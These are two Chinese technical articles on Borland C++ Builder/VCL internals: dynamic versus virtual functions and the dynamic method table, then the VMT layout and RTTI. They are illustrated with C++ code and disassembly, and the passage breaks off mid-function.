多态的实现方法很多，其中C++直接支持的方式有：通过关键字virtual提供虚函数进行迟后联编，以及通过模板（template）实现静态多态性，它们都各有用武之地。我们比较熟悉的是虚函数，这是建构类层次的重要手段，我们也已经分析过虚函数的原理[1]。然而在有些情况下，虚函数的性能并不是最优，故VCL还提供了一种动态（dynamic）函数，用法和虚函数一模一样，只要把virtual换成DYNAMIC就可以了。VCL的帮助文件里说，动态函数跟虚拟函数相比，空间效率占优，时间效率不行，真的吗？其实现原理又是如何呢？我们又应该如何权衡这两者的使用呢？我们将从一个相当一般的角度来讨论这些问题。

虚函数的苦恼

如下类层次来自一个图形绘制程序的一部分。为了方便管理，界面与具体的图形设计分离。各种图形以动态连接库的方式提供，作为插件的形式。这样可以在不重新编译主程序的情况，增加或减少各种图形。

图1　Shape类层次

最初Shape的声明是

class Shape {
private:
    int x0, y0;
protected:
        Shape();
        virtual ~Shape();
public:
    int x() const;
    int y() const;
        virtual void draw(void *) = 0;
        virtual int move(int, int);
};
后来因为功能扩充，添加了两个虚函数。
class Shape {
private:
    int x0, y0;
protected:
        Shape();
        virtual ~Shape();
public:
    int x() const;
    int y() const;
    virtual int move(int, int);
        virtual void draw(void *) = 0;
        virtual void save(void *) const = 0;
        virtual void load(void *) = 0;
};
后来又作过一些修改，又添加了若干虚函数。问题就在于，虚函数一但增加，虚拟函数表VFT就会发生变化，这时候，主程序就必须重新编译。更糟糕的是，一旦版本升级，派生自不同版本Shape的图形绝对不可以混用[2]。所以我们可以看到硬盘里充斥着mfc20.dll、mfc40.dll、mfc42.dll……却一个也不能删除，这就是MFC升级所带来的DLL垃圾。怎么办？
初步解决

我在网上问过这样的问题，得到的答复主要有：

  • 用COM；
  • 预先多写一些无用的虚函数，留出扩充空间。

其实上面的方法都能很好地解决这个问题。但是推广看来，也有一定局限性。COM不适合解决类层次过深的情况，预留的空间则是不折不扣的“鸡肋”。

追根究底，这个局限性是因为父类和子类的虚拟函数表VFT之间过强的关联性：子类的VFT的前面一部分必须与父类相同。而当父类和子类不在同一个DLL或EXE中的时候，这个要求是很难满足的。父类一旦改变，子类如果不重新编译，就将导致错误。解决的方法，当然就是取消父类和子类VFT之间的关联性。我设计了一个很笨的解决办法，但可以取消这个关联性，使虚函数保证始终只有2个。

#define Dynamic // Dynamic什么都不是，只是好看一点

struct point
{
    int x, y;
};

class dispatch_error{};

class Shape {
private:
    int x0, y0;
protected:
        Shape();
        virtual ~Shape();
    virtual void dispatch(int id, void* in, void* out);
    // in和out是函数的输入输出参数，id是每个函数唯一的标记符号，即代号
    // 实际运用中，id不一定是整数，也可以是128位UUID，或者字符串等等
public:
    int x() const;
    int y() const;
    Dynamic int move(int dx, int dy)
    {
        int r;
        point p = {dx, dy};
        dispatch(-1, &p, &r);
        return r;
    }
        Dynamic void draw(void *hdc)		{dispatch(-2, hdc, 0);}
        Dynamic void save(void* o) const	{dispatch(-3, o, 0);}
        Dynamic void load(void* i)		{dispatch(-4, i, 0);}
};

void Shape::dispatch(int id, void* in, void* out)
{
        switch(id)
        {
                case -1:
                        ...
                case -2:
                        ...
        ...
                default:
                        throw(dispatch_error()); // 若函数不存在则抛出异常
        }
}
如果子类Triangle要改写Shape::draw，那么只需要
void Triangle::dispatch(int id, void* in, void* out)
{
        switch(id)
        {
                ...
                case -2:	// 改写Shape::draw
                        ...
        ...
                default:
                        Shape::dispatch(id, in, out); //函数不存在则向父类找
        }
}
这样的“Dynamic函数”就解决了前面的问题，只有析构和dispatch这两个虚函数。父类和子类的VFT之间没有关联性，可以自由改动而不会互相影响。
评头论足

我们来对这种解决方案作了评价：的确解决了虚函数的问题，但是也付出了不小的代价：时间效率和可读性，由此也决定了该方案的应用面不广，一般用于

  • 虚函数很少或几乎不需改写的情况。这样有助于减少VFT的大小。至于运行速度则没有什么提高，毕竟VFT的访问速度是常数级[3]；
  • 父类需要经常更新而子类不方便同步更新，对效率要求又不高的情况。一般的应用程序都可以使用。

从模式（Patterns）的角度来看，这种方法是典型的职责链（Chain of Responsibility）模式[4]：调用请求从最低层子类开始一层层往上传递，直到被处理或者最后抛出异常。这种模式运用非常广泛，比如VCL消息映射[5]和COM中IDispatch接口[6]，与上述解决方案的形式都非常相似。

这个解决方案还可以作进一步的完善，以更好地适用于单根结构的框架。比如单根结构的类库，如MFC和VCL，通过RTTI可以找到唯一的父类，那么可以分离数据（函数代号和指针）和代码（调配部分），以简化结构。解决的方法就是典型的表格驱动，有不少书[7，8]都用此来优化COM中IUnkown接口的QueryInterface。我们引入类DMT来储存函数的代号和指针。

#include
using namespace std;

class DMT {
        char* const ptr;
        const DMT* const parent;
public:
        DMT(const DMT* const, const int, ...);
        ~DMT() {delete []ptr;}
        short size() const  {return *(short*)ptr;}
        const void* find(int) const;
};

图2　类DMT图解

需要特别注意的是DMT::ptr所分配的空间。在32位系统上，对于n个“Dynamic函数”，需要sizeof(short)字节储存n（红色部分），sizeof(void*)*n字节储存函数代号（黄色部分），以及sizeof(void*)*n字节储存函数指针（蓝色部分），一共是sizeof(short) + 2*n*sizeof(void*)字节。子类和父类的DMT可以通过链表形式连接起来。下面我们看看DMT::find和DMT::DMT的实现。

const void* DMT::find(int i) const
{
    const int* begin = (int*)(ptr + sizeof(short)), *p;
    for(p = begin; p < begin + size(); ++p)
        if(*(int*)p == i)
            return *(void**)(p+ size());
            // 找到对应的函数代号后，向前跳DMT::size()则是相应的函数指针
    return (parent)? parent->find(i): 0;
}

DMT::DMT(const DMT* const p, const int n, ...)
    : parent(p), ptr(new char[sizeof(short)+2*n*sizeof(void*)])
                    // ptr分配的空间大小如前所述
{
    int* i = (int*)(ptr + 2), c;
    *(short*)ptr = n;		// 往头sizeof(short)字节写入n（红色部分）

    va_list ap;
    va_start(ap, n);

    for(c = 0; c < n; ++c)		// 往黄色部分写入函数代号
        *(i++) = va_arg(ap, int);

    typedef void (DMT::*temp_type)();
    temp_type temp;

    for(c = 0; c < n; ++c)		// 往蓝色部分写入函数指针
    {
        temp = va_arg(ap, temp_type);
        *(i++) = *(int*)&temp;
    }

    va_end(ap);
}
下面我们在Shape类层次中应用DMT类。
class Shape {
private:
    int x0, y0;

    void int f_move(void* dx, void* dy) {...}

protected:

    static const DMT dmt_Shape;			// Shape类的DMT
    const DMT* const dmt;				// 指向该类DMT的指针
    Shape() : dmt(&dmt_Shape) {...}

        virtual ~Shape();

    void dispatch(int id, void* in, void* out)	// 这次不是虚函数！
    {
        void (A::*f)(void*, void*);
        *(const void**)&f = dmt->find(id);
        (this->*f)(in, out);
    }

public:
    int x() const;
    int y() const;
    Dynamic int move(int dx, int dy)
    {
        int r;
        point p = {dx, dy};
        dispatch(-1, &p, &r);
        return r;
    }
        Dynamic void draw(void *hdc)		{dispatch(-2, hdc, 0);}
        Dynamic void save(void* o) const	{dispatch(-3, o, 0);}
        Dynamic void load(void* i)		{dispatch(-4, i, 0);}
};

const DMT Shape::dmt_Shape =
        DMT(0, 4, -1, -2, -3, -4, &Shape::f_move, 0, 0, 0);

背景突出部分就是有改动的地方。如果子类Triangle要改写Shape::draw，那么只需要

class Triangle {
    private:
        void f_draw(void*);
        ...
    protected:
        static const DMT dmt_Triangle;
        ...
    public:
        Triangle()  {dmt = &dmt_Triangle; ...}
        ...
};

const DMT Triangle::dmt_Triangle =
    DMT(Shape::dmt_Shape, ..., -2, ..., &Triangle::f_draw...);
这就是对“Dynamic函数”的另一种实现，这样可以分离数据和代码。当然这个示例并不具备实际应用价值，在静态成员初始化、调用约定、可读性等诸多设计上都有不少问题，仅仅起演示作用。
动态（dynamic）函数

Object Pascal提供了两种函数实现多态：一种是我们熟悉的虚拟（virtual）函数，另外一种则是动态（dynamic）函数，其实就是对前面的“Dynamic函数”提供的语言级别的支持。

可能有些用C++ Builder的朋友说，C++ Builder里怎么看到啊？在C++ Builder里，标识动态函数的宏（macro）是DYNAMIC，也就是__declspec(dynamic)，这是Borland对C++的扩充。像TControl::Click、TControl::MouseMove等等都是动态函数。DYNAMIC的用法和virtual基本一致，我所发现的不同仅仅是，当子类改写父类相应函数时，子类中virtual可以省略，而DYNAMIC则不行。

那么，每个类的动态函数的入口在哪里呢？上次，我们已经挖出了VMT的分布图，里面就有vmtDynamicTable = 0xffffffd0这么一句，字面就告诉我们，这是动态方法表DMT（Dynamic Method Table）的入口。不妨检验一下。

#include
#include
struct A: private TObject
{
        DYNAMIC void f1() = 0;
        void f3() {}
        virtual void f4() {}
        DYNAMIC void f2() = 0;
};
struct B: A
{
        DYNAMIC void f1() {}
        DYNAMIC void f2() {}
};
void main()
{
        A* p = new B;
        std::cout<<(void*)p<f1();
        p->f2();
        delete p;
}
这个程序会输出“0118095C”。当然不同的机器上这个数值可能有所不同，总之先记下了。

其中p->f1();的汇编代码是

push dword ptr [ebp-0x30]
or edx,-0x01					;这句其实就相当于mov edx,0xffffffff
mov eax,[ebp-0x30]
call System::FindDynaInst(void *, int)
call eax
pop ecx
p->f2();的汇编代码是
push dword ptr [ebp-0x30]
mov edx,0xfffffffe
mov eax,[ebp-0x30]
call System::FindDynaInst(void *, int)
call eax
pop ecx
程序很简单，我们说明一下。
  • or edx,-0x01跟mov edx,0xffffffff的效果是完全一样的，任何数和0xffffffff进行“或”运算的结果当然都是0xffffffff；
  • 这两段唯一的不同就是mov edx,0xffffffff（也就是or edx,-0x01）和mov edx,0xfffffffe，我们上次已经说过了补码表示法，这里其实就是分别传递的A::f1和A::f2的函数代号–1和–2；
  • 执行过mov eax,[ebp-0x30]这一句后，我们可以发现eax的值就是刚才我们记下的数（0118095C），这里包含了指向VMT入口的指针；
  • 向System::FindDynaInst传入的两个参数就分别是包含指向VMT入口的指针，以及相应函数的代号，分别在eax和edx里；
  • 显然System::FindDynaInst把对应函数代号的函数指针放在eax里，call eax就调用相应的函数。
这就是整个大的流程。现在我们关心的是，System::FindDynaInst(void*, int)到底做了些什么。我们可以跟踪进去，再跳一层，我们来到了函数中，源代码就是Source\Vcl\system.pas中的_FindDynaInst。
procedure       _FindDynaInst;
asm
    PUSH	EBX
    MOV	EBX,EDX				;EBX储存了函数的代号
    MOV	EAX,[EAX]			;EAX获得VMT入口地址
    CALL	GetDynaMethod			;调用GetDynaMethod
    MOV	EAX,EBX
    POP	EBX
    JNE	@@exit
    POP	ECX
    JMP	_AbstractError
@@exit:
end;
那么我们还得看看GetDynaMethod的源代码。
procedure       GetDynaMethod;
{function GetDynaMethod(vmt: TClass; selector: Smallint) : Pointer;}
asm
    { ->	EAX     vmt of class			}
    {		BX      dynamic method index	}
    { <-	EBX pointer to routine			}
    {		ZF = 0 if found			}
    {		trashes: EAX, ECX		}

    PUSH	EDI
    XCHG	EAX,EBX				;交换eax和ebx的值
    JMP	@@haveVMT			;交换后ebx是VMT入口地址，eax是函数代号
@@outerLoop:
    MOV	EBX,[EBX]			;取地址
@@haveVMT:
    MOV	EDI,[EBX].vmtDynamicTable	;EDI是DMT的入口
    TEST	EDI,EDI				;测试是否存在DMT（EDI是否为0）
    JE	@@parent			;若DMT不存在，在父类中继续找
    MOVZX	ECX,word ptr [EDI]		;取头两个字节，即动态函数个数
    PUSH	ECX
    ADD	EDI,2				;跳至黄色部分（见后面的图）
    REPNE	SCASW				;查找eax
    JE	@@found				;若找到则跳转
    POP	ECX
@@parent:
    MOV	EBX,[EBX].vmtParent		;在父类中继续
    TEST	EBX,EBX				;是否有父类
    JNE	@@outerLoop			;有则继续查找
    JMP	@@exit				;无则跳转
@@found:
    POP	EAX
    ADD	EAX,EAX				;以下两步是清除ZF，其中ECX值为0
    SUB	EAX,ECX         { this will always clear the Z-flag ! }
    MOV	EBX,[EDI+EAX*2-4]		;edi-1是函数代号所在处
@@exit:
    POP	EDI
end;
看汇编头晕吧？嘿嘿，对着注释看看这个图就清楚了。vmtDynamicTable所指向的地址，就是一个DMT，而它的结构，我们前面已经分析过了。唯一需要说明的是
ADD	EAX,EAX					;EAX值为n，自加后为2*n
SUB	EAX,ECX					;ecx值已经递减为0，这句仅仅是清除ZF标志位
MOV	EBX,[EDI+EAX*2-4]			;
清除ZF是因为_FindDynaInst要由此判断是否找到相应的函数。而edi-4为函数代号所在的地方，edi-4+4*n即为函数指针所在，也就是edi+eax*2-4。

其实不需要与汇编纠缠，在前面我们已经知道了其原理，大同小异罢了。

结束语

C++的重用性是对源代码级而言，而对二进制级重用性的支持则捉襟见肘。特别是动态连接库DLL的广泛运用，更显出解决这个问题的重要性。COM的口号之一正是COM as a Better C++7。讲COM的书中往往指出若干C++的不足，其实不少是可以解决的。比如

  • 问题：不同编译器的名字粉碎机制不同，导致不同编译器编译的模块不能顺利连接。
  • 解决：使用DEF文件。
  • 代价：操作麻烦，增加维护负担，但对程序效率没有任何影响。
  • 问题：不同版本的类大小不一样，主要原因是成员变量增加或减少，导致分配空间时出错。
  • 解决：隐藏实现，成员变量仅保留一个指针void *，在运行时动态申请空间。
  • 代价：可读性和性能均受影响。

添加普通成员函数没有什么大的问题，但是添加虚函数则影响VFT，可能导致程序错误甚至系统崩溃。解决的办法在前面已经说明，其中良好的设计是必不可少的。建议

  • 根类的设计一定要慎重，VCL从开始至今，TObject类的变化始终很少，否则牵一发而动全身，维护性就大打折扣；
  • 类层次应尽可能浅，尽量避免使用继承等耦合性很强的关系，严格遵循Liskov替换原则LSP[9]；
  • 如果程序只在WINDOWS下运行，可以考虑使用COM；
  • 如果始终使用Borland的编译器，并对性能要求不高，可以考虑使用动态（dynamic）函数；
  • 多写几个无用的虚函数占位，也是个不错的方法。

动态函数应用在合适的地方，这一点可以参考VCL各个类中动态函数的使用情况。另外，动态函数所节约的VFT空间微不足道，在有的情况反而DMT的空间占得更多。总体来说，动态函数在时间上吃亏，空间上占的便宜也不大。在我看来，解除了父类和子类VFT之间的关联性，才是动态函数最大的好处。

不论是辨证唯物主义，还是道家思想，都强调事物的两面性。不论什么方法，都是一把双刃剑，所谓“祸兮福之所倚，福兮祸之所伏”。我们要做的，就是权衡利弊，结合具体的环境，扬长避短。

参考

1. 虫虫．《天方夜谭VCL：开门》．C++ View．2001，9．

2. George Shepherd, Brad King. Inside ATL. Microsoft Press. 1999.

3. Stanley Lippman. Inside the C++ Object Model. Addison-Wesley, Reading, MA. 1996
侯捷．《深度探索C++物件模型》．碁峰资讯股份有限公司．1998．
侯捷．《深度探索C++对象模型》．华中科技大学出版社．2001．

4. GoF. Design Patterns: Elements of Reusable Object-Oriented Software. Addison-Wesley, Reading, MA. 1995.
李英军等．《设计模式：可复用面向对象软件软件的基础》．机械工业出版社．2000．

5. CKER．《深入BCB理解VCL的消息机制》．C++ View第1期．

6. Dale Rogerson. Inside COM. Microsoft Press. 1997.
杨秀章．《COM技术内幕》．清华大学出版社．1999．

7. Don Box. Essential COM. Addison-Wesley, Reading, MA. 1998.
侯捷．《COM本质论》．碁峰资讯股份有限公司．1999．
潘爱民．《COM本质论》．中国电力出版社．2001．

8. Brent E. Rector and Chris Sells. ATL Internals. Addison-Wesley, Reading, MA. 1999.
潘爱民，新语．《ATL深入解析》．中国电力出版社．2001．

9. Robert C.Martin. “The Liskov Substitution Principle”. C++ Report. 1996, 3.
虫虫，plpliuly．《Liskov替换原则LSP》．C++ View．2001，9．


CSDN_文档中心_天方夜谭VCL: 开门

天方夜谭VCL: 开门

虫虫

前言

如果你爱他，让他学VCL，因为那是天堂。
如果你恨他，让他学VCL，因为那是地狱。
──《天方夜谭VCL》

传说很久很久以前，中国和印度之间有个岛。那里的国王每天娶一个女子，过夜后就杀，闹得鸡犬不宁，最后宰相的女儿自愿嫁入宫。第一晚，她讲了一个非常有意思的故事，国王听入了迷，第二天没有杀她。此后她每晚讲一个奇特的故事，一直讲到第一千零一夜，国王终于幡然悔悟。这就是著名的《一千零一夜》，也就是《天方夜谭》。印度和中国陆地接壤，那么相信传说中所指的岛，必然是在南中国海－马六甲海峡－印度洋某个地方。现在我也算是在这其间的一个海岛上，正值夜晚，也就借借“天方夜谭”的大名吧。

初中我最喜欢的编程环境是Turbo C 2.0，高一开始用Visual Basic。后来用了没多久就发现，如果想做一个稍微复杂的东西，就需要不停地查资料来调用API，得在最前面作一个长得可怕的API函数声明。于是我开始怀念简洁的C语言。有位喜欢用Delphi的师哥，知道我极为愤恨Pascal，把我引向C++ Builder。即使对于C++中的继承、多态这些简单概念都还是一知半解，我居然也开始用VCL编一些莫名其妙的小程序（VCL上手倒真容易），开始熟悉VCL的结构，同时也了解了MFC和SDK，补习C++的基础知识。后来我才觉得，VCL易学易用根本是个谎言。其实VCL相当难学，甚至比MFC更麻烦。

不知道为什么，C++ Builder的资料出奇地少，也许正是这个原因，C++ Builder论坛上的人情味也特别浓。不管是我初学VCL时常问些莫名其妙白痴问题的天极论坛，还是现在我经常驻足的CSDN，C++ Builder论坛给人的感觉总是很温馨。每次C++ Builder都比同等版本Delphi晚出，每次用C++还不得不看Object Pascal的脸色，我想这是很多人心里的感受。CLX已经出现在Delphi6中，C++ Builder6的发布似乎还遥遥无期。CLX会代替VCL吗？看来似乎不会，后面还会提到。我也看过不少要号召把VCL用C++改写的帖子，往往雷声大雨点小。看看别人老外，说干就干，一个FreeCLX项目就这么启动了。

用MFC的人比用VCL的运气好，他们有Microsoft的支持，有Inside Visual C++、Programming Windows 95 with MFC、MFC Internals这些天王巨星的英文名著和中文翻译，也有诸如侯捷先生的《深入浅出MFC》（即Dissecting MFC）这些出色的中文原创作品。使用Delphi的人也远比使用C++ Builder的命好，关于Delphi的精彩资料远远比C++ Builder多，很无奈，真的很无奈。

C++ View杂志的主编向我约稿，我很为难，因为时间和技术水平都成问题。借用侯捷先生一句话，要拒绝和你住在同一个大脑同一个躯壳的人日日夜夜旦旦夕夕的请求，是很困难的。于是我下决心，写一系列分析VCL内部原理的文章。所谓“天方夜谭”，当然对初学者不会有立杆见影的帮助，甚至于会让您觉得“无聊”。这些文章面向的朋友应该比较熟悉VCL，有一定C++的基础（当然会Object Pascal和汇编更好），比如希望知道VCL底层运作机制的朋友，和希望自己开发应用框架或者想用C++重写VCL的朋友。同时我更希望大家交流一下解剖应用框架的经验，让我们不局限于VCL或者MFC，能站在更高的角度看问题，共同提高自己的能力。

在深入探讨VCL之前，先得把VCL主要的性质说一下。

  • 同SmallTalk和Java所带的框架一样，VCL是Object Pascal的一部分，也就是说语言和框架之间没有明确的界限。比如Java带有JDK，任写一个类都是java.lang.Object的子类。VCL和Object Pascal是同样的道理。当然，Object Pascal为了兼容以前的Pascal，依然允许某个类没有任何父类，但本系列文章将不再考虑这种情形。
  • 同大多数框架一样，VCL采取的是单根结构。也就是说，VCL的结构是以一棵TObject为根的继承树，除TObject外的所有VCL类都是TObject直接或间接的子类。
  • 由于Object Pascal的语言特性，整个结构中只使用单继承。

所以，VCL的本质是一个Object Pascal类库，提供了Object Pascal和C++两个接口。在剖析的过程中，请时刻牢记这一点。

文章的组织结构是就事论事，一次一个话题。由于VCL并不像MFC是一个独立的框架，它与Object Pascal、IDE、编译器结合非常紧密，所以在剖析过程中不免会提到汇编。当然不会汇编的朋友也不用怕，我会把汇编代码都解释清楚，并尽量用C++改写。

文中有很多图是表示类的内存结构，如图所示。其中方框表示一个变量，两端伸出表示还有若干个变量，椭圆标注是说明虚线圆圈中的整个对象（在后面虚线圆圈不会画出）。

图1　图例

文中的程序，如非特别说明，均可以在Console Application模式下（如果使用了VCL类则需要复选“Use VCL”）编译通过。

开门

倒霉者如愚公，开门就见太行、王屋山。在一怒之下他开始移山，最后幸亏天神帮忙搬走了。中国人不喜欢开门见山的性格可能就是愚公传下来的，说话做事老爱绕弯。当然我也不能免俗，前面废话了一大堆，现在接着来。

提起RTTI（runtime type identification，运行时间类型辨别），相信大家都很熟悉。C++的RTTI功能相当有限，主要由typeid和dynamic_cast提供[1]。至于这两者的实现方式[2]，不是我们今天的话题，我们所关注的，乃是VCL所提供的“高级”RTTI的底层机制。

熟悉框架的朋友都知道，框架往往会提供“高级”的RTTI功能。我曾看过一个论调，说Java和Object Pascal比C++好，原因是因为它们的RTTI更“高级”。且不论滥用RTTI极为有害，事实上，C++用宏（macro）亦可以模拟出相同功能的RTTI[3]。

不过对于VCL类来说，您清楚其RTTI机制的运作情况吗？对于如下

class A: public TObject
{
        ...
}
    ...
    A* p = new A;
为什么p->ClassName();就能返回类A的名字“A”呢？
为什么A::ClassName(p->ClassParent())就可以返回A的基类名“TObject”呢？
为什么……？

其实这都是编译器暗箱操作的结果。说白了，编译器先在某个地方把类名写好，到时候去取出来就行。关键在于，如何去取出来呢？显然有指针指向这些数据，那么这些指针放在什么地方呢？

记得《阿里巴巴和四十大盗》的故事吧？宝藏是早就存在的，如果知道口诀“芝麻，开门吧”，就可以拿到宝藏。同样，类的相关信息是编译器帮我们写好了的，我们所关心的，就是如何获取这些信息的“口诀”。

不过这一切，要从虚函数开始，我们得先复习一下C/C++的对象模型。

虚拟函数表VFT

C语言提供了基于对象（Object-Based）的思维模型，其对象模型非常清晰。比如

struct A
{
    int i;
    char c;
};

图 2　结构的内存布局

在32位系统上，变量i占用4个字节，变量c占用1个字节。编译器可能还会在后面添加3个字节补齐。那么，sizeof(A)就是8。

C++提供了面向对象（Object-Oriented）的思维模型，其对象模型建立在C的基础上。对于没有虚函数的类，其模型与C中的结构（struct）完全一样。但如果存在虚函数，一般在类实体的某个部分会存在一个指针vptr，指向虚拟函数表VFT（Virtual Function Table）的入口。显然，对于同一个类的所有对象，这个vptr都是相同的。例如

class A
{
private:
    int i;
    char c;
public:
    virtual void f1();
    virtual void f2();
};

class B: public A
{
public:
    virtual void f1();
    virtual void f2();
};
当我们作如下调用的时候
A* p;
...
p->f2();
程序本身并不知道它会调用A::f还是B::f或是其它函数，只是通过类实体中的vptr，查到VFT的入口，再在入口中查询函数地址，进行调用。由于Borland C++编译器把vptr放在类实体的头部，因此下面均有此假设。

为了更充分地说明问题，我们从汇编级来分析一下。假设我们采用的是Borland C++编译器。

p->f2();
这句的汇编代码是
mov eax,[ebp-0x04]
push eax
mov edx,[eax]
call dword ptr [edx+0x04]
pop ecx

图3　C++类实体的内存布局

第一句ebp-0x04是指针变量p的地址，第一句是把p所指向的对象的地址传送到eax；
第二句不用管它；
第三句是把对象头部的指针vptr传到edx，即已取得VFT的入口；
第四句是关键，edx再加4（32位系统上一个指针占4个字节），也就是调用了从VFT入口算起的第二个函数指针，即B::f2；
第五句不用管它。

相信大家对VFT和C++的对象模型有一个更深刻的认识吧？对于VFT的实现，各个编译器是不一样的。有兴趣的朋友不妨可以自行探索一下Microsft Visual C++和GCC的实现方法，比较一下它们的异同。

知道了VFT的结构，那么想想下面这个程序的结果是什么。

#include
using namespace std;

class A
{
    int c;
        virtual void f();
public:
    A(int v = 0) { c = v;}
};

void main()
{
        A a, b(20);
        cout << *(void**)&a << endl;
        cout << *(void**)&b << endl;
}
我想您应该能理解其中*(void**)&a吧？这是取得vptr的值，也就是a所在内存空间的前4个字节，一个指针。下面我们还会使用类似的语句。

无庸质疑，结果是输出两个完全相同的值。前面我们已经说过，对于同一个类的所有对象，其vptr值都是相同的。

那么这个VFT到底有什么作用呢？现在看来，似乎就是储存虚函数的地址。

虚拟方法表VMT

如何通过类的实体来找到类的相关RTTI信息呢？显然，VFT是同一个类的所有实体共享的数据，而RTTI正好也是。那么，把RTTI放在VFT里，就是个不错的选择。

往哪儿放呢？VFT从入口开始往后是各个虚函数的指针，那么RTTI只能放在两个地方：入口以前或者所有虚函数指针之后。显然，放在入口以前更好，至少我们不用关心虚函数的多少，RTTI的位置也可以相对确定。

VCL就采用了这个办法来放置RTTI，不过把VFT换了名字，叫虚拟方法表VMT（Virtual Method Table）。VMT的结构是怎样的呢？Borland所提供的帮助文件里没有任何相关资料，不过我们在Include\Vcl\system.hpp中就能找到如下蛛丝马迹。

static const Shortint vmtSelfPtr = 0xffffffb4;
static const Shortint vmtIntfTable = 0xffffffb8;
static const Shortint vmtAutoTable = 0xffffffbc;
static const Shortint vmtInitTable = 0xffffffc0;
static const Shortint vmtTypeInfo = 0xffffffc4;
static const Shortint vmtFieldTable = 0xffffffc8;
static const Shortint vmtMethodTable = 0xffffffcc;
static const Shortint vmtDynamicTable = 0xffffffd0;
static const Shortint vmtClassName = 0xffffffd4;
static const Shortint vmtInstanceSize = 0xffffffd8;
static const Shortint vmtParent = 0xffffffdc;
static const Shortint vmtSafeCallException = 0xffffffe0;
static const Shortint vmtAfterConstruction = 0xffffffe4;
static const Shortint vmtBeforeDestruction = 0xffffffe8;
static const Shortint vmtDispatch = 0xffffffec;
static const Shortint vmtDefaultHandler = 0xfffffff0;
static const Shortint vmtNewInstance = 0xfffffff4;
static const Shortint vmtFreeInstance = 0xfffffff8;
static const Shortint vmtDestroy = 0xfffffffc;
注意这些常数值中的负数采用的是补码表示法。求一个负数的补码，先写出相应正数的补码表示，再按位求反，最后（在最低位）加1即可。对于求32位负数的补码，也可以用它本身减去0xffffffff再减1即可。以0xfffffffc为例，0xfffffffc – 0xffffffff – 1 = – 0x04，这就是结果。我们还可以从Borland提供的原始码Source\Vcl\system.pas获得，其中就是用负数表示。

看着这份表格，从这些变量名中，我们已经猜到了其大概的分布情况。这些数字之间的间隔都是[4]，可以猜想这些都是指针：函数指针或者数据指针。从这些常数的名字我们就可以知道它们的作用，比如vmtClassName自然就是储存类名的指针。入口0以前，就是VCL对象的关键数据。无疑，它们蕴涵了TObject乃至VCL对象关键的秘密，也就是VMT的分布结构。

这以上只是我们的推测，我们还应该验证一下。我们知道的事实是，每一个对象必然都包含了其所属类的相关信息。比如任何一个C++类的实体，都包含一个指向虚拟函数表VFT的指针。VCL类的实体必然也包含一个指向虚拟方法表VMT的指针。

#include
#include
using namespace std;

class A: public TObject
{
        int x;
        virtual void f1() {}
        virtual void f2() {}
public:
        A(int v = 0): x(v) {}
};

void main()
{
        A* p = new A;, * q = new A(100);
        void* a = *(void**)p, * b = *(void**)q;
        void* c = p->ClassType(), * d = q->ClassType();
        cout << a << ' ' << b << endl;
        cout << c << ' ' << d << endl;
        cout << __classid(A) << endl;
    delete p;
    delete q;
}
结果很有意思，输出的五个指针地址完全一样！a和b相同，从前面的例子我们就可以知道。然而TObject的ClassType方法和__classid操作符的返回值也跟这两者相同，这就有点意思了。查查帮助就可以知道，__classid是C++ Builder中新增的扩展关键字，返回类的VMT的入口地址；而TObject的ClassType方法则是返回对象的类信息，返回类型是TClass（也就是TMetaClass*）。这说明，每个VCL类实体的头部包含的指针，就是指向VMT的入口地址。而这个位置，也就是TObject的成员函数ClassType的返回值，亦即运算符__classid返回的类A的信息，只不过这个返回值是以TClass（即TMetaClass*）的形式存在。

图4　VCL类的VMT入口

我们已经知道了VMT的结构，现在又找到了其入口，此时的兴奋不亚于阿里巴巴知道“芝麻，开门吧”这句咒语时的感受。既然知道了开门的咒语，还不赶快进去拿宝藏？

牛刀小试

乘着东风，我们来模拟一下VCL简单的RTTI功能。为方便起见，我们仿造TObject，写一个类FObject（呵呵，如果把TObject看成True Object，我们的FObject就是False Object）。要问下面这段代码从哪里来？大部分都Copy&Paste自Include\Vcl\systobj.h文件。

class FObject
{
public:
        FObject(); /* Body provided by VCL {} */
        Free();
        TClass		ClassType();
        void		CleanupInstance();
        void *		FieldAddress(const ShortString &Name);

    /* class method */
    static TObject * InitInstance(TClass cls, void *instance);
    static ShortString ClassName(TClass cls);
    static bool ClassNameIs(TClass cls, const AnsiString string);
    static TClass ClassParent(TClass cls);
    static void * ClassInfo(TClass cls);
    static long InstanceSize(TClass cls);
    static bool InheritsFrom(TClass cls, TClass aClass);
    static void * MethodAddress(TClass cls, const ShortString &Name);
    static ShortString MethodName(TClass cls, void *Address);

    /* Hack: GetInterface is an untyped out object parameter and
    * so is mangled as a void*. In practice, however, it is
    * really a void**. Be sure when using this method to provide
    * two levels of indirection and cast away one of them.
    */

        bool GetInterface(const TGUID &IID, /* out */ void *Obj);

        /* class method */
        static PInterfaceEntry GetInterfaceEntry(const TGUID IID);
        static PInterfaceTable * GetInterfaceTable(void);

        ShortString ClassName()
        {
                return ClassName(ClassType());
        }

        bool ClassNameIs(const AnsiString string)
        {
                return ClassNameIs(ClassType(), string);
        }

        TClass ClassParent()
        {
                return ClassParent(ClassType());
        }

        void * ClassInfo()
        {
                return ClassInfo(ClassType());
        }

        long InstanceSize()
        {
                return InstanceSize(ClassType());
        }

        bool InheritsFrom(TClass aClass)
        {
                return InheritsFrom(ClassType(), aClass);
        }

        void * MethodAddress(const ShortString &Name)
        {
                return MethodAddress(ClassType(), Name);
        }

        ShortString MethodName(void *Address)
        {
                return MethodName(ClassType(), Address);
        }

        virtual HResult SafeCallException(TObject *, void *);
        virtual void AfterConstruction();
        virtual void BeforeDestruction();
        virtual void Dispatch(void *Message);
        virtual void DefaultHandler(void* Message);

private:
        virtual TObject* NewInstance(TClass cls);

public:
        virtual void FreeInstance();
        virtual ~FObject();  /* Body provided by VCL {} */
};
当然FObject::ClassType我们已经会写了，那就是
TClass FObject::ClassType()
{
        return *(TClass*)this;
}
我们会在后面陆续把这些成员函数填充完整。先举个例，拿类名（ClassName）开刀吧。

查查VMT表，vmtClassName = 0xffffffd4，我们就从这里下手。主要的步骤是：

  • 找到VMT的入口；
  • 通过vmtClassName找到储存类名的地址；
  • 获取类名。

0xffffffd4也就相当于– 44，也就是VMT入口指向的地址开始，倒数第44字节到倒数第41字节这4个字节所代表的指针，指向类名。假设入口指向的地址是cls，那么vmtClassName所代表的地址就是(char*)cls – 44，亦即(char*)cls + vmtClassName。

注意一个字符串格式的问题，VCL既然是用Object Pascal写的，其中储存类名的字符串的格式必然是Pascal传统方式，也就是第1个字节为字符串的长度，紧接着为字符串的实际内容。在C++ Builder中，与之对应的类型是ShortString。

图5　TObject::ClassName的运作方式

代码如下：

ShortString FObject::ClassName(TClass cls)
{
